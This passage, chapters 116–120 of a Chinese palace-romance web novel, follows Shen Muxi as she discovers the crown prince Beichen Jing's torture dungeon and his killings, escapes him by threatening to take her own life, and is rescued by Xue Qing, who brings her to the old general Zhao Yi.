沈木兮脸一烫,稍一正神色,没多做停留,冒着半夜时分的霜露出去了。
路过桌前时,她的眼神在桌上的香炉处停留了瞬。
香还在燃着,好像怎么都无止尽一样。
沈木兮步子顿住,侧头盯着那香炉认真看了一眼,眉心一凝。
之前没注意,这怎么有个香炉。
一阵的沉默后……
“什么香,能燃这么久?”
好家伙,果真是皇家的东西,和她买的便宜货就是不一样。
她冷不丁吐槽了句,然后没再耽搁,推门而出。
一出去,外面的冷风更是刺骨,血腥味也更浓了。
沈木兮心中的不安感,越发的强烈。
太子府新婚之夜,居然有人来暗杀吗?这些人,真是猖狂。
想着北辰景在江州一路上的遭遇,沈木兮愈发紧张!
今夜的太子府,十分古怪。
风声剧烈,血腥味弥漫,但偌大的府邸里,却是毫无一人!
沈木兮在府中寻觅了大半圈,也没看到一道想见的身影。更别说是北辰景了。
她心里担心感更甚,在江州的时候,他就遭遇险阻,现在回了京,那些人怕是更不会放过。
渐渐的,她抹黑一路,寻着血腥味,来到了一处熟悉的地方。
是府中后门,那个落了锁的小木屋。
可此刻,上面的锁已经不见了。
屋门大敞。
不确定外面的血腥气,是否从这里弥漫出的。但可以确定,这里的血腥味,也是一样的重。
沈木兮心中一动,下意识抬步走了进去。
起初是一屋子的干草,和破烂的桌椅。
再往里,是一个密道。
延伸往地底之下。
看到这密道的一瞬,沈木兮心中蓦地警铃大响。
她知道北辰景是什么样的人。他如今待她不一样,不代表,他待旁人也不一样。
那这个,被他关在府中地下密室里的人,是谁?
沈木兮眉心微拧。北辰景藏着秘密,她不意外,可是心中,却始终有一种说不清的古怪感。她觉得自己好像认识他,却又好像,从来都没看清过他。
这次回京,这种感觉更甚了。
沈木兮压下心头思绪,借着微光的壁火光芒,她看到了密道尽头处的场景。
那是一个黑暗里的囚牢。
四周木架上,都是各种,沾着血污,超乎沈木兮想象的可怕刑具!
噼啪作响的炭盆前,摆着一把高贵奢华的黑檀太师椅。
旁侧,还有一个放着优雅茶具的案几。
茶具里的茶水还是热的,可见方才北辰景就在这里。
而在太师椅对面,正是架着一个人,一个……血人!不,他不是被架在上面,而是被铆钉,狠狠钉在了柱子上!
沈木兮已经能想象到,北辰景坐在这里,抬起鬼气阴森的瞳孔,姿态高贵,冷笑看着里面眼前地下囚的场景。
“咳咳……”
对面的血人咳嗽了声,缓缓抬起蓬头垢面的面容。
沈木兮还以为他已经**,被惊了一跳。
本以为这一个场景,就已经足以让她惊悚了,没想到……
等她借着炭盆火光,看清了对面的血人是谁,她瞳孔大张,惊恐捂住嘴!
“夜……夜王!”
北辰晔抬起那久违的阴险幽瞳,他像是也认出了她,却没有力气说话,只是不停的怪笑着。
沙哑的喉头,发出一阵阵刺耳的音符。
怎么会是夜王?
夜王居然一直被北辰景关在这!
从他身上的黑污血渍,和各种被处刑留下的痕迹,以及他的干瘦,都无一不表明,他被关在这,已经至少半年之久!
那之前在夜王府所见的夜王,又是谁!?
还有,若夜王一直被北辰景关在这。
那在江州时,追杀北辰景的人,又是怎么回事!
沈木兮彻彻底底的呆住了。
她好像已经感觉到了,那犹正掌控着自己,推动着她的无形大掌!
“呵呵……”而对面的北辰晔,不停沙哑怪笑着,深凹的瞳孔古怪地凝视在她的身上,好像在无声嘲讽着她和他一样,被
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人操控着一切的愚蠢!
沈木兮身形晃动,不停后退。
她疯了一般跑出密室!
却没注意到,身后夜王那阴险算计,又富含深意的眼神。和藏在他脚边,密室木屋的门锁……
出来后,沈木兮靠在外面的高墙下,不停大口呼吸着。
眼前的太子府,那么熟悉。
可却又那么的陌生!
他到底,还藏着多么秘密?
而这时高墙另一边的动静,吸引了她的注意。
她好像还听到了离阙的声音。
“殿下……”
下一瞬,沈木兮强忍震颤的身子,小心翼翼地探头出现在了一道偏僻小门处。
只见那高墙的另一边,便是之前北辰景带她去过的那个,为她修缮出来的江州“故居”。
而此刻,他一身墨色玄袍,正负手站在苍穹夜下,负于身后垂落的指尖,还在滴血,他半仰着头,狭长双眸半阖。
像是整个黑夜的主人。
地上,一片血污。
一具具尸体,横七竖八的尽数摆放在苍白月色下。
都是一些黑衣人。
而其中一具,霎时吸引了沈木兮的视线!
他的身上,甚至还穿着白日在皇宫时,所见的皇子华袍。
可此时的他却是双眼紧闭,空寂寂的躺在那片血泊里。
沈木兮神色剧变,浑身的血液都仿佛凝结,眼睛瞪得极大,再次惊恐捂嘴:“北辰殷……”不,不会的。
北辰殷,怎么会是他!
一道身影飞身落地,上前拭了拭地上北辰殷的鼻息,转身后来到了周身披着黑暗,完全处于黑暗世界里的北辰景跟前。
“殿下,他……”
禀报的字句,淹没在冷风里,沈木兮没听清。但她却看清了这个手下。
这个人,不是离阙,不是清鸢。
是,冷刃——!
他恭恭敬敬,完全屈服于北辰景身前。已然是他的蝼蚁!
沈木兮身形瞬间踉跄……气血上涌,喉头里涌出一股腥甜!
眼底里最后的光,也在一点点碎裂。
只剩下,一片绝望死寂的空茫。
一道稀碎声,从小门处传出!
瞬间吸引了在场众人的注意。
第116章 我杀了他们,阿兮生气了吗
清鸢率先飞身前来,这里却已经没了身影。
“殿下,没人。不过……”方才的确有人影闪动!
北辰景盯住那道小门,黑夜里阴湿可怖的双眸,逐渐落在了全府唯一燃着灯烛的婚房主院,眸色深长。
今夜为了不惊扰到她,婚房是提前关上的。
可此刻那灯烛下的婚房屋门,却是大敞……
“要不要属下去追。”清鸢上前说。
北辰景:“不用了。”
他冷冷丢下一句,身上的血污也没有擦拭,抬步上前,带着些许的着急,径直走向了黑暗里。
不多时,北辰景的身影,出现在了婚房中。
此时的婚房里,一片沉寂。
北辰景在门口停顿了一瞬,还是抬步走了进来。知道她没有出事,他像是松了口气,眼中的嗜血戾气也消失了几许。
沈木兮没有在床上佯装等他,她知道,旁人不知道方才那个人是她,但他一定发现了她。
她站在暗色里,没有说话,只静静看着他。
床头上还残存着两人方才疯狂过的荒唐痕迹,那是,她第一次,对他敞开心扉,没有任何顾虑。
她当时也真的以为,他说的,是对的。
可此刻两人之间的幽冷氛围,和冷风中尚存的情欲气息,却是行成了鲜明对比。
所以,江州的一切一切,都是他所营造出的,牵制着她的神智,让她无数次的自我怀疑,再一步步引导着她回来。
薛宝莹的离心,祝长安的意外,薛清的出事。
包括她。
都是他算计中的一环。
还有后面他的被人追杀,半死不活……以及离阙故意激她的每一句话。包括,清鸢的出现。沈木兮一想起那段时光,就觉得自己像是一个笑话。
是被他**于股掌中的笑话!
他真的,好可怕!好可怕……
可他怨她,恨她,杀了她就好。
为什么要伤害其他人!
祝长安有什么错。
北辰殷,他又做错了什么!!
沈木兮从黑暗里走出,眼眶骤红,却是一滴泪也落不下来,只面无表情地看着他。
北辰景盯着她渗凉冰冷的眼神,以为她是被外面的遍地尸体吓坏了,伸出手想拉住她,好好将她安抚,告诉她,他没生她偷跑出来的气。
却被沈木兮冷冷地别开了。
北辰景眼神顿时委屈极了,看去自己手上的鲜红,像是以前一样,蹲在她身前,捧着满手的血,仰着头说:
“我亲手杀了那些人,阿兮,是生气了吗?”
“那今后,我不**了,好不好。”
话语还是那样的卑微可怜。
可那明显阴湿疯批的模样,完全不是沈木兮记忆里谢景愿的样子。
他早就不是了。
是她太蠢,居然还抱着一丝幻想,一丝滤镜!
愚蠢的以为,他不会走向这一步!
“北辰景,你还想操控我多久。”她僵硬森冷的开口,字句比夜风还要冷。
北辰景被吓坏了。
这样陌生的沈木兮,让他莫名的惊慌和无措。
浑身是血的他,此刻慌乱的像是个孩子……
“阿兮,别生气好不好……”他着急的伸出染血的手,想再次够住她的衣袖。
“别碰我!”
女子的厉吼声一出,北辰景眼底强压着的阴湿暗色,瞬间溢出!四周氛围陡变,他的眼神也是瞬间变得狠戾!
但在看到她手中出现的那把刀刃时,他却又变回了方才的慌乱无措。
沈木兮扯唇:“你是不是,也想杀了他们一样,杀了我。”
她倒是宁愿他直接杀了她,也比这样折磨她的好!
只要一闭眼,便想到那血泊里的断肢残躯,和毫无声息的北辰殷!
“阿兮,听话,快放下刀,你会伤到自己的。”北辰景像是生气了,眉心紧皱,语气里尽是严肃。
她为什么要这样伤害自己?
要死,也只能死在他的腹下怀里。
这时,离阙和清鸢也赶了过来。
“殿下!太子妃……”
两人都被婚房里的一幕惊到了。
沈木兮对着北辰景的刀刃,突然横在了自己的脖子上,猩红双眼,直视着他。
“你早就想这样做了,是吧。”
“在江州的时候,你就这样想了。”
“你说那些人要杀你,所以你杀了他们。可是薛宝莹,和祝长安,他们呢?他们可有想杀你?”
她已经不敢相信他的话了。
北辰景被藏在最深处的过往,和那些秘密,被她这般剖析而出,让他一时间慌了神。
杀她这件事,的确是早就存在他心中。
这一点,北辰景不否认。
他不想对她撒谎,不想伤害她。
看他那一瞬的眼神躲闪。
沈木兮闭了闭眼。
她就知道,从前到现在,他从来没变。倒是她,一次次变成被他制造出的梦境里,被他戏耍操控的可怜宠物。
“放我出去,不然,我现在替你杀了我自己。”
替他做了他一直想的事,他肯定会很慌乱吧!
果真,北辰景眼神是从未有过的惊慌!
“阿兮,不要乱来。我求你了,不要,好不好。”<
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br>他声音颤抖,湿红双眼里满是委屈和哀求。
可沈木兮再也看不进一点。
“最后一句,放我出去。”
她手中刀刃已经往下了一寸,丝丝鲜红从脖子上溢出。
北辰景知道她不是说假话,她做事一向都是说到做到,已经很久没有骗过他了。
外面的离阙也慌了神:“太子妃!”他似乎是想冲进来夺过沈木兮的刀刃。
沈木兮提前觉察。
呲的一声!
刀已经继续往下深入!
“放她走。”
一阵死静中,北辰景颤抖,又带着阴湿的声音响起!
他身子踉跄,直直盯着她:“放她出去,出去。”
“可是殿下……”离阙还想说什么。
又听他说:“孤说了,放她出去!”
她想走,就放她走。
她生他气了,他不乖乖的,她肯定又会离开他。
这么多年,他还是最怕她不理他的。
沈木兮松一口气,却依旧没有松开持刀的手,一点点朝门外挪动。
北辰景满目温情,又卑微小心地站在阴暗原地望着她。
目送着她走出了婚房,走出了后院,朝着太子府门前踉跄行去。
等她生完气,她还是会回来的。
和以前一样。
一定会的。
身后男人的眼神再卑微柔情,沈木兮也不敢再看了。
走出太子府的那一瞬,她几乎是身子瘫软,直接倒在了地上。
可她不敢迟疑,飞奔似的朝着黑夜街道上跑去!
拼命的跑,拼命的跑!
强忍许久的泪水,也终于像是决堤一样,从眼眶里簌簌落下。
心脏如被一只手狠狠攥着,生疼极了。
北辰景,你为什么要这样做。
为什么!
沈木兮也不知自己跑到了哪里去,其实她晓得她是躲不了的,指不定,他和他的人,已经再次追了过来。
等跑累了,她抵在街道上冰冷的柱子前,抱着双膝蹲在地上,放声大哭!
她也不知自己为什么这么难受。
不是第一次知道他的伪装,也早知道他是什么样的人。
可这一回,知晓她其实一直被他**于股掌,被他钩织出的虚假世界蒙蔽。
就是好难受。
受伤是假的!追杀是假的!
又有什么是真的!!
直到她靠着柱子,一点点滑落时,街道上的风声袭来。
沈木兮以为他终于再次来抓她了。
坦然又认命的笑了。
却是听到了一声,久违又带着暗夜空灵的声音。
“小七?”
第117章 她是不是要**
黑暗里,突然出现的那一道久违的熟悉声音,让沈木兮震惊地抬起头。
她以为是自己看错了。
直到暗夜里,那空灵的话语由远及近,再次响彻在她耳边。
“小七?真的是你!”
沈木兮神色涣散,她已经被北辰景亲手打造出来的巨网,折腾得神智恍惚。几乎快疯掉……
“宝莹?”
她是不是,真的要**。
居然看到了想看到的人。
想再看清时,一片黑暗侵蚀而来,沈木兮身子一倒,什么也不知道了。
……
太子府。
“殿下,太子妃,突然不见了……”飞身回来的离阙,蹲在地上,声音焦急又带着一丝惊慌畏惧,声音越来越低!
原本他的人,还跟着沈木兮。
可就在那一刹那间,她的身影拐去了另一条巷子,接着便消失在了街道上。
北辰景站在婚房的黑暗里。
他也不知道她在生什么气,气他杀了坏人吗。
可他们是来杀他的啊,他都告诉了她,他不**,他也会死的。
她是想要他死吗?
他好生委屈……
“她不会走的。”北辰景很肯定的说,甚至是在笑着。
她只是生气了而已,等气消了,她会回来的。
他,要在这里等她。
北辰景这一等,就在婚房里,从黑夜等到了天明。
身上还是那身染满鲜血的玄袍,连位置也没有挪动一分,望着外面逐渐露出鱼肚白的天际,隐在暗光下的脸愈发带着**般的白。
不过才是过去了一夜而已,他好像憔悴了不少,身形也有些晃动。
但眼神里,依旧是带着他的偏执和倔强。
清鸢小心翼翼的走进来,和小芷一起准备收拾一下这满是血迹和乱成一团的婚房。
不是她们想来惊扰主子。
只是西越帝今日肯定会派人来太子府问询,若被看到了府中四处的鲜血,婚房也是杂乱无章。陛下一定会怀疑什么的。
“谁让你们动的。”北辰景突然出声!阴影下的他抬头,眼神幽冷极了!
这是她离开时的样子,动了她的东西,和她的痕迹。她若更生气,真的再也不理会他了呢?
可他说出的话语,却和那卑微可怜的眼神,截然相反的可怖阴森!
“滚出去,仗打五十棍子!谁也不许再进来。”
清鸢等人浑身一凛,皆是不敢在出声,滚出去领罚了。
婚房的门关上,北辰景望着天际边那一抹曙光,苍白的唇勾起一抹笑,像是在对自己说:“阿兮,我会听话的。”
这一次,我不再骗你。
我等你回来。
咚。
刚出去的清鸢,突然听到婚房内传出一阵沉闷声响。
她脸色陡变,当即和小芷跑回去。
“殿下!”
两人上前查看,才发现北辰景身上有伤,伤在下腹。
昨夜来太子府的刺客,除了有前来救夜王的人,还有另一拨刺杀的黑衣刺客!且个个都是能和离阙匹敌的武功高手。
太子殿下亲自加入了缠斗,一起才把那些人制服。
不想,殿下受伤了。
还无人知晓!
更别说,他这样硬生生,站了一夜!
“殿下,殿下!”清鸢看着北辰景愈发失去血色的面容,和腹下大片的鲜红,神色大变,急切的往外面大喊,“快来人,来人啊!”
……
沈木兮陡然睁眼。
帘外的阳光从窗台渗透下来,她只觉得刺眼,忍不住闷哼一声。
这种熟悉的感觉,告诉着她,她已经昏迷很多天了。
“小七,你醒了!”
薛宝莹拿着药碗走来,坐在床边,一边给她垫靠背,一边吹药喂她。
沈木兮呆滞的盯着眼前出现的人,涣散的双眸一动不动。
“怎么了,是还不舒服吗?”薛宝莹见她傻傻的不说话,抬手摸了摸她的头,“已经没发烧了啊,怎么回事。”
“三小姐,不如还是奴婢来喂七小姐吧。”
小愿跟着走来。
又是一声熟悉的声音传来,让沈木兮清晰的知道,这不是梦境。
她空洞又涣散的双眸缓缓聚焦。
“宝莹,真的是你。”
她一直以为昏迷前的那一刻,是自己要死掉之前的走马观花。
竟是真的吗。
薛宝莹放下药碗,佯装不悦地撇嘴说:“哼,真没良心,才走多久,就不认识我了?不是我还能是谁,你能有几个好姐姐啊?”
“可是,你怎么会在京城?”沈
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木兮瞳孔闪动,皱眉说。
“当然是父亲了。”薛宝莹提起这件事,就喋喋不休。
此事还得从沈木兮离开青州说起。
薛清因为伤重,一直时不时陷入昏迷。等到他终于彻底清醒,也不知是得知了什么消息,突然找来了薛宝莹。
告诉她,让她去京城找沈木兮!
让薛宝莹告诉她,危险!务必要离开!
还给了一封信,让薛宝莹务必要交给她。
其实薛宝莹也不知道,薛清到底这是怎么了。可沈木兮知道。
她太知道了。
父亲这是知晓了北辰景的真面目,也洞察了他做的所有,所以在得知太子已经启程回京,还带了个女子回去后。便猜到她已经身陷险境,才这么急让薛宝莹先赶来。
父亲……
想起薛清,因为她而身受重伤,没有对她丝毫埋怨。在重伤之时,还时时挂心她这个不争气的孩子,她眼泪就止不住的落。
“父……薛大人,他现在可还好?”沈木兮实在不敢唤出那两个字,她已经被逐出薛家了,再也不是薛家的女儿。
薛宝莹的小脸顿时板起:“什么大人,你是我薛家的姐妹,父亲就是你的父亲!”
知道她在顾虑什么,薛宝莹又道。
“放心吧,母亲已经不生你的气了。虽然母亲在家不肯提你,但你的院子,她一直都在让人打扫规制,还做了不少新衣裳,时不时还会在府门前往外看。”
薛宝莹的话,让沈木兮再次红了眼。
“宝莹,对不起。”这一句,是替北辰景,也是替她,给薛家的赔罪。
薛宝莹眼中憋了许久的泪水,也开始在眼眶里晃动,她别开脸:“好啦,不说这些了。对了,怎么就你一个人,那个人吗?”
“谁?”沈木兮有些愣怔。
薛宝莹捏着手中的绢帕,小脸微微发红,眼珠儿乱瞟:“就是……就是,上次咱们在青州见过的啊。”
沈木兮依旧很是茫然。
“哎呀!就是那个说话张牙舞爪,既嘚瑟又欠扁,在青州的时候,还被我打了一闷棍的大傻子呀!他不是去带你出来了吗。怎么只有你一个人,不见他人呢。”
她说的是,北辰殷……
沈木兮脸色,刹那间变得惨白。
第118章 北辰殷还活着吗?
薛宝莹还犹然不觉,继续在那嘀嘀咕咕。
“说起来,也是巧,那日我居然在京中碰到了他。他知道我在找你后,告诉我说,他知道你在哪儿。还让我在那夜的街道巷口等着,他会把你带着一起来。”
“可是,当时只有你一个人,那他去了何处?”
薛宝莹说着忍不住撇撇嘴。
“那个,你不要多想啊,我就是随便问问。毕竟他帮了我,我想说句谢谢。”
虽是个大傻子,但还算说话算数吧!姑且表扬他一下下咯……
沈木兮抓着被褥的手,微微发紧。
所以,北辰殷,那夜出现在太子府,是为了来救她。
一想起他躺在血泊里的一幕。
沈木兮的心仿佛被什么狠狠掐住,眼泪再次不受控制的往外涌,滴答滴答落在地砖上!
北辰殷,你真是笨。
还是和初见时一样笨得要死。
谁要你来救了……
薛宝莹也终于发现了屋子里氛围的诡异,她抬头,便看到沈木兮无声痛哭着,双唇苍白,阵阵颤抖。
她好像明白了什么,瞬间呆坐在原地。
“他,是出事了吗?”薛宝莹瞳孔微缩,声音颤抖,终于问出了那一句,“那他还活着吗。”
沈木兮抱着脑袋,拼命地自责的摇头:“我不知道……”
不知道,真的不知道!
她的哭声从无声,变成了痛哭的哭喊,抱住僵硬掉的薛宝莹,哭到声音嘶哑!撕心裂肺!
“对不起,北辰殷……对不起……”
她宁愿在那血泊里,被他手刃的人是自己!
薛宝莹仿若被抽空的所有力气,呆愣在原地,沈木兮的哭声还在耳侧,可她只觉得耳边只剩下了嗡嗡作响。
“不,不会的。”
那个大傻子,说的那么胸有成竹,在她跟前拍着胸脯,保证会没事。
他又怎会出事?
薛宝莹扯出一抹笑,推开了沈木兮:“你在骗我是不是,其实你也不知道的。那夜你神智恍惚,连我也认不清,怎会知道发生了什么。”
“不是这样的,不会是的,他不会死的。”
薛宝莹踉跄着站起身,推开前来搀扶她的小愿,一边拼命抹着眼角,飞奔的朝着屋外跑去!
她要,进城亲自去看看!
“宝莹,宝莹!”
沈木兮想追过去,可是昏迷几日的她,浑身都没力气。
“小愿,你快去追三小姐,快去啊。”
“好!”
……
小愿还是没追上薛宝莹。
就在沈木兮担心她的行踪时,在这天夜里,薛宝莹回来了。
沈木兮也不知道她进城问到了什么没有,总之她回来后什么都没说,只是脸色苍白至极。也不再多提北辰殷的事,一如既往的给沈木兮喂药,陪她说话。
就好像,之前什么也没发生。
沈木兮倒是不知道,她何时和北辰殷认识,还有这么深……的交情。
若是以前,她估计会高兴。宝莹做梦都想嫁去天家,认识了天家里最单纯的皇子,若是可以,也是一件幸事。可如今……
薛宝莹没提,沈木兮也没勇气去问。
况且,对于那些京中人的事,她不想知道,既是不敢知道,也是不想。
接下来,各自沉默的两人,就这样在这个京外小院里待了几日。
这个地方,是薛清提前安排的安全居所,低处京郊外的荒野之处,方圆十里都没有人烟。
是以沈木兮才留下,没有着急离开。
再说,着急走,能走得了吗。
不出意外,皇城内外乃至各处离京要道,都被层层封锁,现在离开不是个明智之举。
几日的“避世”安宁生活,终究是短暂的。
这日出去买东西,顺带打听消息的小愿,回来后神色焦急地说。
“小姐!皇城的官兵,已经出现在五里外了。”
小愿是在小道上发现的。
因为这片地方没有人居住,那些人搜索了一番后,并没有继续前来。但不代表会一直不来。
沈木兮已经恢复大半,和薛宝莹,一起从里屋中走出来。
两人对视,眼神都很是严肃。
不知那些官兵是来找谁的,但走丢了一个太子妃,事情怎么可能不会闹大。
先不说北辰景,
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就说对于天家,都是个一件大事。
“小七,我们还是准备准备,尽早离开吧。”
沈木兮看着这几日清瘦了一大圈的薛宝莹,轻轻点点头:“好,我去收拾东西。”
终于还是再次踏上了这条逃亡之路吗。
沈木兮心中苦笑,可是这一次,她的心,却是彻底的冷了。
只是在去想时,还是会刺刺的发疼。
两人着急地在屋子里收拾,东西不多,之前也做好了随时撤离的准备,带上就走。
可就在这时,外面又传来了小愿的声音,很是急切。
“七小姐,三小姐!外面有动静!”
屋中两人神色紧张,赶紧带着东西走出。
外面的林中,的确传来了声响。
窸窸窣窣的。
沈木兮心中生出一股不好的预感,看了眼四周。
在这住的这几日,她也会出去勘察地形,知道有条小路,估计这也是薛清的用意,特别在这安排了个住所。
她说:“走,我们去后面!”
“好!”薛宝莹点头,带着小愿,三人很快顺着那道小路,没入了后面的野林中。
在她们的身影,消失在了小屋时,那些官兵已经从树林里出现。
这些官兵,满脸横肉,一看就凶神恶煞。
手中大刀早已开鞘,连步追进了这山野小屋中。
沈木兮她们走的急,没有遮掩屋中的痕迹,官兵进来一看,就知道这里住过人,且人刚走没多久。
知道他们来迟了一步,领头官兵一刀砍断眼前的桌前!
“该死的,居然被她给先跑了!”
“追!追到了,宫中有旨,格杀勿论!”
剧烈的一声响!
连已经在逃窜路上的沈木兮,都听到了。
同时,也听到了那领头官兵在山头上格杀勿论的低吼话语。
她背脊一凉。
知道这次,她定是把他给惹急了,是真的要朝着她索命而来。
她冷冷一笑,林中幽风一过,很快掩下了她脸上的异色,再看时,沈木兮已然是满脸的冰冷如霜。
山风朔朔,几人身影,渐渐隐入山林深处……
第119章 去见一个,对你很重要的人
“该死,头儿,都寻遍整个山林,怎么还没她的踪迹?”
“这女人,莫不是会飞不成!”
这些官兵从那小屋里往外搜索,搜了快大半个山头,连个屁都没发现。
这女人简直是滑头的很!
不仅仅早早的逃离,山林里到处都是她提前弄下的脚印。即便是跟着脚印走,也是在绕圈子!
领头官兵忍不住呸了口唾沫星子。
“**!放心,她跑不了的,这山脚下都有我们的人,她和那些救她的人,已经是插翅难逃。”
一群官兵如蝗虫过境般在山头窜过。
兵械声穿插着山林幽风,在野林中四乱飞袭。
藏在野林里的薛宝莹,只觉得刀刃的寒芒,正不断朝自己的骨头缝里钻,让从没见过这种追踪场面的她,忍不住打了个冷颤。
她透着低矮的灌木缝隙,望着那些不断搜寻的人,紧张地对身边人说:“小七,怎么办,我们走不了了。”
沈木兮的脸色也不是很好,她已经提前做了很多准备,但对方的人数实在太多,就像是他们说的,他们的人留守在山脚,她们轻易是走不了的。
只是她还是不明,为何对方这么快洞悉自己的踪迹。
而后她又想起了那个人……忍不住自嘲冷笑。
她对很他了解。
那某种程度上,他也了解她。
不然,当初在青州时,又怎会一步步,利用她的弱点和软肋,悄无声息地把她引导回京。
想着这些,沈木兮眉心再次下意识紧蹙,可眼神却冷若寒冰。
“不急。”她安抚着身边两人,“等他们搜完这边,我们再走。”
对方人数多。但好在这山林很大,她们可以和对方一起绕圈子。
就看谁有耐心了。
三人就在这片灌木野林里蹲守,见着那些人开始往另一边搜寻去,沈木兮瞅准机会,带着二人趁机逃离!
“走,快走!”
只是还没走多远,只听咔嚓一声。
紧接着身后小愿突然痛呼了声:“啊……”
沈木兮回身,便见她的脚踩到了山林猎户放置的捕兽夹,脚踝处被夹住,瞬间鲜血淋漓。
“小愿!”
沈木兮和薛宝莹两人,齐齐蹲下帮她掰开捕兽夹,可使出了吃奶的力气也掰不开分毫。
小愿疼得脸色苍白,满头是汗。
却犹在急促地说:“两位小姐,别管奴婢了,奴婢低贱出身,**就**。你们快走,别被那些人抓到,快走啊。”
“闭嘴!”沈木兮低声呵斥,“我不会丢下任何一个人。”
她再也不要让自己身边的人,因她而受到伤害!
“宝莹,帮我搭把手,把小愿搀扶起,我来背她,你去前面带路。”
“好!”
这边的血腥味,很快顺着山林里的幽光,传到了那些追兵周遭。
“那边!追!”
身后那刺骨冰冷的兵械声,愈来愈近。
“七小姐,放下奴婢吧,求求您,快放下奴婢吧!”小愿听着那些动静,哭着说!
沈木兮其实也没力气了,只能咬紧牙关,艰难地往前行。
可就在这时,前面领头寻路的薛宝莹,脸色突然变了……
她僵硬地回头,眼神里带着恐慌。
“小七,没路了。”
她们,完了。
沈木兮瞳孔微缩……
而这时,右后方的动静,已经越来越近,几乎就在她们的身后了。
沈木兮拿出随身的**,眼神里浮现出一抹绝望又释然的笑。
真的逃不了吗?
果真是命啊。
那她,便是死,也要拉着几个人,去陪无辜的北辰殷!
于此时,山林里!
已经发现她们踪迹的官兵们,越来越近!
领头之人笑得森冷,一把扒开前面,那最后一层遮挡的野草。
可看到前面的场景,官兵们脸上的冷笑,瞬间僵硬在了脸上!
地上还有新鲜的血迹,以及逃命的杂乱脚印!
却是一个人也没有。
只剩下冷风幽幽。
人呢?
方才还在这!
“该死,继续追!”
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>一群人朝着前方蜂拥寻去。
而此时,山壁的另一边。
沈木兮震惊地看着眼前的人,双眸颤动,泪水在眼眶里打转:“父……父亲……”
薛清对着她嘘了声,看去那些离开的官兵,对着她和薛宝莹说。
“跟我来。”
谁也没想到,薛清居然会在这个时候出现在京城,且还是出现在这危难之时。
而薛清的出现,也顿时让两人心中有了底!
跟着他,很快找到了路,离开了方才的那片区域。
出了林子,外面的一条隐蔽山道上,正停靠着一辆马车。
可见薛清是有备而来,且什么都谋划好了。
薛宝莹实在憋不住了,问道:“父亲,您不是在青州吗,是何时来的,还准备了这么多?”
薛清命人先处理小愿的伤,带着两个女儿上车后,这才道。
“其实,在你进京寻小七的时候,我也进京了。”
表面是安排薛宝莹去,实则是为了让宝莹吸引对方的注意,他再悄无声息地动作,继而更快找到小七。
也因此,薛清才没有直接告诉薛宝莹,沈木兮便是那个被太子带回去的人。
他本是没打算让宝莹找到人,只是没想到,她阴差阳错,还真遇到了沈木兮。
具体的事情,薛清没有多说。
他转头,看去上了马车后,就一直沉默没说话的沈木兮。
“小七,你,还好吗?”
其实这句话,实在是没什么问头。
沈木兮的样子,实在是憔悴极了。更别说,她还好不好……
不过她还是挤出了一抹笑:“父亲,我没事,我……很好。”
都派人来追杀她了,即便不是他安排的人,也是他的默许。她还能怎样。
她要好好的,也必须好。
薛清不再说话了,只道:“走吧,小七,为父带你去见一个人。”
“一个,对你很重要的人。”
很重要?
沈木兮有些茫然,她除了薛家人外,基本可以说是无亲无故,谁对她重要?
第120章 身世
不过薛清是不会骗她的。
沈木兮还是压下了那暂时不安混乱的心,尚且安定下来。
马车携着茫茫山风,逐渐没入山林深处。
另一边。
官兵们还在四处搜索,可都快把山林里挖个底朝天,也再也不见了沈木兮等人的踪迹。
该死,真给逃了!
“那女人定有人接应,娘的!
“头儿,那我们要不要再多安排一些人马,继续追踪。”手下说,“反正她们现在有人受伤,肯定是走不远的。”
领头人瞪了说话的手下一眼:“你想找死吗?”
现在他们安排的人已经够多了,再多些,事情闹大,就会被太子知道的。
虽然,以太子现在的情况,尚且还不会知晓,但总会有知道的那一天。
“上头有令,让我们小心行事,闹出大动静,小心你的脑袋。”
“好了,先继续追!”
山风幽幽,沈木兮被薛清带着,很快离开了这片山头,只见四周山景瞬息转变,不多时来到了另一处山脚。
马车停在密林外。
薛清先行下车,沈木兮和薛宝莹紧随其后。
“薛大人,您终于来了。”
让沈木兮意外的是,这里居然有个在等着他们的人。看其衣着,像是世家大族里的管家,但和之前遇到的那些管事不一样,此人长得十分面善,也很懂礼。
“这位,就是七小姐了吧?”赵管家朝沈木兮看来,声音有些轻颤。
不知是不是沈木兮感觉错了,她怎么觉得,这个管家除了说话的声音在颤抖,看自己的眼神,也是十分激动?双眼都微微发红了。
薛清颔首:“是。”
“小七,宝莹,跟我过来。”
沈木兮怀揣着更深的茫然和困惑,就这样和薛清进去了。
穿过这大片的密林,和一处断崖木桥,一个藏在深山里的山林小屋,缓缓出现在她的眼前。
和先前一样,这里也有人把守。
且把守的不再是管家奴才,而是一个个肃冷笔直的士兵。
这些士兵,一看就和那些酒囊饭袋的官兵不一样。
每个人眼中,都带着凌冽的肃杀之色,步伐端正,颇具气势。
是真正在战场上淌过血的英勇战士。
不过他们却没有故作姿态,更没有凶神恶煞,见薛清带着人来,一名副将很懂事的上前抱拳行礼,然后恭敬地做了个请的手势。
“薛大人,我们将军,已经等你很久了。”
薛清转过头,让薛宝莹先去旁边的小屋等着,薛宝莹知道父亲有很重要的事,乖巧点头退下。随后薛清才带着沈木兮进了这个房间。
门一点点打开。
沈木兮就这样带着好奇,又有些惶惶不安的心,踩着从屋檐上洒下的落日霞光,缓缓走了进去。
山林幽风,随着她的步伐,窜进屋内,更给那背身而立的男人背影,增添了一丝暗光。
这是个陌生的男人。
确切的说,是个年近七十的老者。
他正负手而立,保持着等候的姿势。
虽是已头发花白,但身形高挺,依旧挺拔硬朗,颇具风骨。站在那,仿若一座久经战火的高墙,携着浓浓的肃杀威压,难以撼动!
可这样的气场,却不会让人惊惧,反而是给人一种安心感。
沈木兮登时愣住了。
记忆里,原文的确是有个响彻西越内外的大将军。
名赵夷。
是西越的镇国老将军。
此人也是西越朝廷上,唯一一直秉持中立的人。当初,便是他,跟着西越先帝一起征战四方,平定边境大乱,如今西越的大半江山,都是他浴血奋战,亲手打下来的。
他和先帝感情也是难得的深厚,如亲兄弟一般。
也因此,他在朝地位和威望极高,哪怕是在如今的西越帝跟前,西越帝也得恭恭敬敬的。
后来改朝换代,江山逐渐稳固,许是因着先帝的去世,赵夷不想留在京城,便自动请缨,携着家人,前往边城常年镇守。
一去就是几十年。
倒是不知,薛清带自己来这,见这位赵老将军做什么?
听到声音,赵夷转过身,常年带兵打仗的人,眼神里都带着浓重的煞气。但他看过来的眼神,却是无比的温和,带着长辈的慈祥。
“你就是小七?”他温和地看着她,声音颤抖地说。
沈木兮更茫然了,看了眼薛清,还是先规矩上前给赵夷见礼。
“晚辈,见过老将军……”
话说一半,却被薛清止住了。
